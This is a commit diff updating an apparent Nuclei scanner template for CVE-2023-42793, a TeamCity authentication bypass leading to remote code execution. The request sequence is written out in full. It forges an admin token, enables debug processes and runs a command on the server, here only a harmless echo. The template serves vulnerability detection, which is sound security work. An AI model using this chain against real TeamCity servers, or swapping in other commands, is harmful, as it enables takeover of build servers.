Update CVE-2023-42793.yaml

patch-1
Ritik Chaddha 2023-09-27 23:35:06 +05:30 committed by GitHub
parent f0ba24afa1
commit bc957cd1a4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 16 additions and 10 deletions

View File

@ -1,14 +1,16 @@
id: CVE-2023-42793
info:
name: JetBrains TeamCity - Remote Code Execution
name: JetBrains TeamCity < 2023.05.4 - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible
description: |
In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible
reference:
- https://www.jetbrains.com/privacy-security/issues-fixed/
- https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis
- https://www.sonarsource.com/blog/teamcity-vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2023-42793
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
@ -18,31 +20,37 @@ info:
epss-percentile: 0.38288
cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
metadata:
vendor: jetbrains
product: teamcity
max-request: 5
verified: true
shodan-query: title:TeamCity
fofa-query: title=TeamCity
tags: cve,cve2023,rce,intrusive,teamcity,jetbrains
vendor: jetbrains
product: teamcity
tags: cve,cve2023,jetbrains,teamcity,rce,auth-bypass,intrusive
http:
requests:
- raw:
- |
DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: {{Hostname}}
- |
POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/x-www-form-urlencoded
- |
POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/x-www-form-urlencoded
- |
POST /app/rest/debug/processes?exePath=echo&params={{randstr}} HTTP/1.1
Host: {{Hostname}}
@ -58,9 +66,7 @@ http:
- type: word
part: body_5
words:
- 'StdOut:'
- '{{randstr}}'
condition: and
- 'StdOut:{{randstr}}'
extractors:
- type: regex
@ -69,4 +75,4 @@ http:
group: 1
regex:
- 'value="(.*?)"'
internal: true
internal: true